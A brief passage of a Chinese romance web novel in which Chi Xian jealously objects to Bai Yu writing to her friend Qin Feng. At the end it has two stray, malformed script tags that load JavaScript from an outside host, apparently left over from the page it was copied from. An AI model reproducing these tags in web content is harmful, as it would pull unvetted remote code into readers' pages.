“你真是莫名其妙。”
白虞见他脸色不佳,一眼便看出是他生气的前兆,低声喃喃道。
在她口中所说的那句话传到池羡耳边就像是变了个说法,秦丰和她是挚友之交,而他只不过是一个萍水相逢的救命恩人。
仔细说来还是他妨碍他们二人的挚友情分。
好。好得很啊!
就该把她关起来,让她只能给自己写信,写到双手麻木酸痛,也绝不放过她。
池羡说不上心中什么感受,眼底流露出既伤心又恼怒的神色,他不再用冷淡责怪的口吻说话,而是哑着嗓音道:“不要给他传信……”
那句“好不好”挂在嘴边却迟迟不肯说出口。
白虞抬眸见他那双真诚的眸子配上那张俊俏的脸,语气中还存有几分可怜,白虞松下一口气,将白纸展平摆放在池羡眼前。
“小气鬼,连写封信都要管着。”
白虞纤长的指节指着白纸前的几行字,展示给他看,“看到了吗?我没有透露地灵丹的信息!”
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">